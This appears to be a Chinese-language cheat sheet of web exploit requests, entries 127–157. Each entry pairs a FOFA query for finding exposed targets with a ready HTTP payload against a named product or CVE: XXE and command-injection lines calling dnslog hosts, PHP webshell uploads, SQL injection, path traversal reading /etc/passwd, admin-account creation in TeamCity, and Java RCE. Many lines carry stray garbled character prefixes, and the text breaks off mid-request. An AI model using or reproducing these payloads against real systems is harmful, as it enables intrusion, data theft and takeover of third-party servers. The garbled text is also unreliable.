% j! |1 R( ?6 `/ b8 J7 wAccept-Encoding: gzip, deflate
4 m- o: u9 x/ Z1 y- MAccept-Language: zh-CN,zh;q=0.9
" L: I  P- s9 K+ M) ~, M- VConnection: close
2 g# }' i$ P9 _Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
, n' ~8 N* d0 l  {" r$ TPurpose: prefetch
Sec-Purpose: prefetch;prerender
- |! t! D/ X% p
5 C* P# U6 p! K7 q; T# A2 x------WebKitFormBoundaryJGgV5l5ta05yAIe0
, j* z' X. r5 l1 H( [Content-Disposition: form-data;name="SystemName"

BIM
8 i) Q* o, e, a$ d7 Q9 {  `. L------WebKitFormBoundaryJGgV5l5ta05yAIe0
) M. Q- _) S* W7 `3 V$ zContent-Disposition: form-data;name="Params"
0 x) [6 V4 C: W. f+ vContent-Type: text/plain
6 t, S4 W" Y1 p  t4 A5 u9 x6 V; p" {
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
! r' {( K) i' w; v7 D]
5 h4 J6 `7 {+ r  u7 n2 i) E>
<test>&t;</test>
( e, j8 e! Z& }1 F5 k& y5 D* H; l" f------WebKitFormBoundaryJGgV5l5ta05yAIe0--
6 C' [  b0 J) J8 n5 f2 J

, {5 \' t6 M% d5 `/ e
128. Adobe ColdFusion 反序列化
CVE-2023-38203
- p; \: ~  L2 Q6 Y% v4 _* ?2 OAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
/ X6 b' r5 _  MFOFA：app="Adobe-ColdFusion"
PAYLOAD

* h( Q( X- i/ e129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
, }9 a3 \* @6 H1 p; WFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
. N8 D) I, k2 v! IGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
" ?/ c* u6 O" p4 c% i+ d5 RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 h: x( k) O9 h  t7 W  HAccept: */*
( ?5 B+ h4 M$ O' ^8 FAccept-Encoding: gzip, deflate
Connection: close


8 m) i7 Y- a( e; M( p" K' `第二步，读取/etc/passwd文件
: Q" P8 U$ t( A3 |GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
% F/ F1 a! a0 a- y  \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
" n  Z# e# g( p) r$ e8 l" [% E% dAccept-Encoding: gzip, deflate
+ s/ N% z) m$ _0 k0 U( L6 k- i3 G( C2 ?( R9 |Connection: close
+ e4 ]2 J- m3 S$ X2 O! z% Buuid: 85f60018-a654-4410-a783-f81cbd5000b9
2 k4 ~% }  G; X+ F% i9 S
/ U  x; |0 D  F) k1 t) S) A, D
130. Laykefu客服系统任意文件上传
7 O. Q: `( @% B* q; hFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
# d/ y: T3 k. NHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
2 _0 w6 M4 z4 x) j* \" {: c* nX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
9 ~! O: W9 u/ `& t/ M2 KAccept-Language: zh-CN,zh;q=0.9
3 U6 v, \5 b+ p+ O3 Q6 K* \# fCookie: user_name=1; user_id=3
$ K4 Z- X, ~' Y3 AConnection: close

8 ^$ @0 _  J( x  V% e------WebKitFormBoundary3OCVBiwBVsNuB2kR
$ E  O/ ]! c" r1 _, F+ D9 X& _Content-Disposition: form-data; name="file"; filename="1.php"
) d0 @7 |5 b! Q' T; oContent-Type: image/png

2 A' u: X+ C7 z* X# e+ g( c<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--

7 M4 w' P0 g$ [1 l
+ ~* v% {1 k6 I2 \1 |5 W( S131. Mini-Tmall <=20231017 SQL注入
8 {9 b3 Q8 p4 F; ]# FFOFA：icon_hash="-2087517259"
2 U( E/ z" x. y; }后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

. @: ~. _; q' S+ h+ x132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
6 v5 g* N& B- W$ dCVE-2024-27198
FOFA：body="Log in to TeamCity"
8 d9 X4 [. @8 y9 BPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
. p" ^" @3 H: h2 I* |+ E# qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
. B1 @% p1 c/ y( W& ~4 d: O3 HAccept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

; ~8 p& m5 V* {  D1 p! O3 B) f{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
0 ?2 I" V) {# x# w/ b9 T
1 o: k& C2 B- U% d- G) q# s: x
CVE-2024-27199
6 M, i4 n. m( m; v/res/../admin/diagnostic.jsp
0 V1 ~* `: H3 e5 d/.well-known/acme-challenge/../../admin/diagnostic.jsp
# U) K* J. J! c/update/../admin/diagnostic.jsp

6 |8 S8 V; v1 F3 e
, v& L" Q" o' c9 `: H1 \6 qCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
1 Z( [# {" W/ M; i: k$ D; pFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
5 o6 D- a! X+ l7 v7 l0 R9 n" CHost: your-ip
7 j! S& p2 C0 s' u/ B+ {$ }: |$ [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 B( g6 V3 c- A5 d7 t+ B$ P. UContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
3 t" B; _& S: `# q! BContent-Type: application/octet-stream
- Z3 g" W7 v! t7 x0 \
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
5 ^9 Z: }' Y' E8 e8 c) [

/ [! v8 Z5 p# G( S; M) g5 q7 j
) |) j  ]3 r! }1 i7 }2 `! _  I134. 网康NS-ASG应用安全网关index.php sql注入
1 f8 ?+ n# D, ?8 l$ `) p- C% V2 sCVE-2024-2330
4 {0 @1 }% h: c& C0 }- q6 YNetentsec NS-ASG Application Security Gateway 6.3版本
1 u, l4 [9 O; Z0 ~1 x3 UFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
6 O* {$ U4 X& `8 WHost: x.x.x.x
+ L$ W* ?# v/ OCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
$ d/ F: K' G9 e$ ]. U6 |Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 d8 y& S0 `: ]7 `; [3 t6 j0 Z/ ~* L2 UAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
& u4 O! M$ {- h$ KSec-Fetch-Site: same-origin
# N9 t5 j! V4 z0 c: A' ^3 @Te: trailers
, u% u/ i$ E2 \# X+ q5 ZConnection: close
& b- J! K8 A3 e$ BContent-Type: application/x-www-form-urlencoded
Content-Length: 263

0 e6 x9 ^9 n* \! O, X2 |jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

1 v" G# V' U! s# M( O+ [) N+ C
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
4 j) k8 g$ E, N, |$ YNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
/ B; ?  B1 V+ Q! z) |) N# wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% c9 T- e0 I9 n4 m$ x1 i  f# Q: IAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 r, n- ?" G; o. s0 T! w, u. S) eAccept-Encoding: gzip, deflate
9 {- `6 X1 L9 zAccept-Language: zh-CN,zh;q=0.9
* t) L! a3 }5 RConnection: close


6 v' z+ ^) ?2 K! x  C2 X# i- [136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
0 c* Z' v/ @% k, e5 @) rHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. _$ ]' d$ {( A- pConnection: close
% _3 ^7 W: d9 k( r$ ZAccept: */*
Accept-Language: en
- x8 |+ L1 h3 v! R( m* H7 RAccept-Encoding: gzip


( j0 q+ K$ l( w& {1 ]. i137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
$ p/ H3 N7 j& d5 [/ k, T9 sFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
( Q2 i9 w' E. K2 l; ^0 JHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
; K: F" \( a: S+ d  oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# J: o/ }7 s( h- e2 m; R/ LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 {2 \  ^9 S0 k& e2 LAccept-Encoding: gzip, deflate, br
- l/ d3 H5 |2 a+ {Connection: close
' t  `3 j! \6 O$ Q# W. I0 wCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
; h; N/ t: T9 E1 Q

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
, y+ i3 T4 L: i, v/ c$ m, oCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
Host: x.x.x.x
1 ~( t& g1 M* _2 C; [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
& ?! v' l- A. b6 U* j, |- I' l; pUpgrade-Insecure-Requests: 1

( L' B% L1 h; R" n$ e& D! ?& ~# ^8 g
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
, O* j' c& o6 a7 @GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
( p( S( }$ f0 n9 v9 c" AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 M6 }  L0 X1 a% F' zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
* k" A. d7 g3 T# j# }' VConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
) [: S# g" Y+ ]! u" k1 A2 i  n; zUpgrade-Insecure-Requests: 1


4 F( M0 G& n& l2 H/ o1 c0 E" W7 g( ^% Q140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
) F7 H- d. a+ J9 [) JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
9 }$ K0 V  I+ qHost: x.x.x.x
4 t1 |* v+ V- W6 K* lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
- |( Y! [7 R0 `/ M: i$ }, rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 c) M. O- z% m0 F. eFOFA：body="指挥调度管理平台"
7 S# b4 d; j( q8 UPOST /app/ext/ajax_users.php HTTP/1.1
6 r2 E8 O) y- S& ~# A/ J0 W8 e: A, ^Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
2 q! _% u) l) W  {Content-Type: application/x-www-form-urlencoded
. S( M8 T. j4 Z# {" W; u$ d3 V
  D+ x" m6 l0 Q
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
7 a2 u% e. C! S, Y# @$ m

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
& t3 H" q7 ]+ |* JFOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
/ U7 l* x6 U, k4 H" K' XCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
0 f$ y7 E8 L4 T- A  ~+ [: ]
2 }4 g! ~3 P/ u9 I) A% R3 o. Q144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
5 B- A6 M: M5 |( t* n! oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
5 }" Z, ]; F/ @# h4 c& s. ^! Y: iConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


$ M" b7 H5 s& G145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
: J" i, N( S; ^4 `/ k+ `CVE-2024-3400
; j4 K2 ~$ l# `FOFA：icon_hash="-631559155"
% M+ r) U* G* \- ]GET /global-protect/login.esp HTTP/1.1
' c8 A& i9 C7 Y# [% h6 zHost: 192.168.30.112:1005
( ]4 h& M5 S/ C+ E3 lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


) I% s: U3 f$ Z; L2 T146. MajorDoMo thumb.php 未授权远程代码执行
  U6 A+ k* s  `8 x+ C  hCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
' C+ z* w1 g4 O, a' E% S! G, }8 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
7 B0 o$ n8 v" TAccept-Charset: utf-8
4 `% c. V, T. o# FAccept-Encoding: gzip, deflate
7 w$ ]! j/ K( I4 z5 x: a. J; eConnection: close


% w: o% l5 `5 z+ l" W! R( ~147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
) e8 e& k+ z- WCVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
8 o" j7 |: p6 c8 D5 _4 [Host: 127.0.0.1:81
/ V6 {* A" k0 s7 E/ tCache-Control: max-age=0
( N8 V4 N& Z# G7 q. E- Z; gConnection: close


# ]/ f$ w! C) Q% R# Y  f148. CrushFTP 认证绕过模板注入
. K7 x' L- j0 T3 H1 S* V5 dCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
4 h, m4 m3 ^: p; g
& H. K& |0 r* P; g1 g" H, l149. AJ-Report开源数据大屏存在远程命令执行
- V8 f! X) d3 R3 G+ m% l+ V) \FOFA：title="AJ-Report"
; I0 H3 j; N; P/ _1 F$ r# X( o1 L. Z/ q
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, G  s! V0 O5 R2 gAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
% N# B' e$ g3 c% F; C4 ~) E) f$ YConnection: close
. E; {$ H& _2 z1 E2 X4 B
; h6 t: J/ @% `' E+ ^  v{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
0 h$ b; U3 t6 l. Q' t
150. AJ-Report 1.4.0 认证绕过与远程代码执行
: v* D' n( f! }% dFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ P/ |& a7 T' b5 [  @- d$ yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 }7 f2 K6 t, \5 l: W+ k+ NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) o; r7 }6 H8 T5 @7 [- [, v+ RAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
2 U  s2 U$ {8 p) j4 U; ?# z0 vContent-Length: 339
  z$ c% K0 |" \! r- U4 g2 j2 L9 R
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
5 E# C5 B9 K8 n1 I
& i+ D# j3 z9 l
" j6 M: i+ Z8 y- l2 R+ M151. AJ-Report 1.4.1 pageList sql注入
7 p: ~- p. x: v# PFOFA：title="AJ-Report"
' C. `7 }' p& C) S  ]3 _* o/ @GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
; V4 E) S# ]; t: z' C( j% WHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
1 C6 z( q* z) L9 M! x% `$ H

  D4 s6 l6 M( ?152. Progress Kemp LoadMaster 远程命令执行
, c5 z: P9 h. t2 }# fCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
+ g2 X" W6 I, O: MLoadMaster<=7.2.54.8 (LTSF)
6 n" Q5 ?( m( t' c* tLoadMaster <= 7.2.48.10 (LTS)
4 t) Z5 j: P3 c1 m9 HFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
0 u/ |8 M3 U9 t+ n) D) oUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
  t3 [) M6 h9 q% w( IAccept: */*
9 u8 D- v5 v3 G. q' l$ HAccept-Language: en
: k. y7 F% Q4 {# o# ^Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
2 n: d' o3 b. r3 kCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config

+ ~: S. ]" m7 q/ S: |2 t( W# e
第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
8 j) P* e: L( v+ h9 H) l8 V( CContent-Length: 115
Content-Type: application/json
* B* v" K* B% L- v8 O4 _Accept-Encoding: gzip
, ^; [( S3 g& x2 f& }; p- J
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

0 c, o1 @3 j+ _/ w, ]: H
' F/ k/ r0 ]/ L' e: d7 ]  S8 i. O- r- p第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
3 |! ?1 }) ~' u' G: d& X, ]
% `( q. V7 y, {" f
154. 天维尔消防救援作战调度平台 SQL注入
: e7 }8 l+ b. o+ z: P4 C5 D% L/ z0 R" YCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
' r) |3 \+ e6 e6 {! J3 D; yPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
, I- f( S* k" P' o: G' E( g! e3 f0 iHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
2 s% p8 ^/ J! f: TOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
1 k# s: V2 r  t8 x: gAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
2 d: T2 D+ {( X3 w' {Connection: close
2 ~5 q, C: s+ c& ?" H
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


. s0 e) R# m6 L( b" Y- P  c155. 六零导航页 file.php 任意文件上传
4 }: R- E% c& `2 ^& n. X% wCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
8 ?- V2 b$ b. I0 h0 x! `% |Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
! Y( O. G0 J, T* ?: qAccept: application/json, text/javascript, */*; q=0.01
' }- l/ G) Y8 V6 }: uAccept-Encoding: gzip, deflate, br
: L3 W, K$ X( ^$ MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% h5 {* D6 a5 `9 h6 AContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
+ c+ D4 o/ Y3 V/ NX-Requested-With: XMLHttpRequest

+ H( ?7 {4 O- ^1 V# ^-----------------------------qttl7vemrsold314zg0f
- [& a8 Y4 Y- I# mContent-Disposition: form-data; name="file"; filename="test.php"
) B  P/ q. s9 @3 f4 ~/ E0 E/ ~Content-Type: image/png
+ ~. H6 I, j' w- a7 Y' T7 M" Y; M
<?php phpinfo();unlink(__FILE__);?>
% j: _. g" T7 C  u-----------------------------qttl7vemrsold314zg0f--
+ }4 |' A0 [1 Q6 X8 k' o

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
; @* o3 M2 q& r; s) M. ]·TBK DVR-4216
4 g. q- m  X( B5 M$ b9 _* Qcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
3 l. C5 N# m* h, H. }

4 Q  W- f* r. Z# c' Y2 ~  Y' oPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
9 z/ D4 X3 X' kHost: x.x.x.x
$ k0 t, _  U, FUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
. v/ t" {9 B7 K# l. d& X7 VCookie: uid=1
Accept-Encoding: gzip
( p$ F! T3 ^0 b. A( E

157. 美特CRM upload.jsp 任意文件上传
. F: k0 V2 G2 t8 {% _0 C1 {CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
) e, \5 ?; U3 b+ a& s2 \6 R: r# @POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
9 N) z( p' T3 H& A* c2 I+ _Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
; [/ v$ G; q0 r2 s. V6 ^4 W: {Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: L1 j0 H4 z. y9 S/ T! G/ fAccept-Encoding: gzip, deflate
0 x8 w% C) r& ]) HAccept-Language: zh-CN,zh;q=0.9
$ }2 H' J  j% O& t+ gCache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

% P& B. a! I, i6 B------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
. I/ u- ^2 E  p6 s3 y6 qContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
( ~, R7 t6 |% R# M3 J) x9 G& P. gContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
4 U1 ]+ ]1 }! j, tContent-Disposition: form-data; name="form"

null
& k) ?* W' j& y4 b------WebKitFormBoundary1imovELzPsfzp5dN
7 f, u. Z, q. [Content-Disposition: form-data; name="field"
  Y/ ]( i9 V+ v" t) s
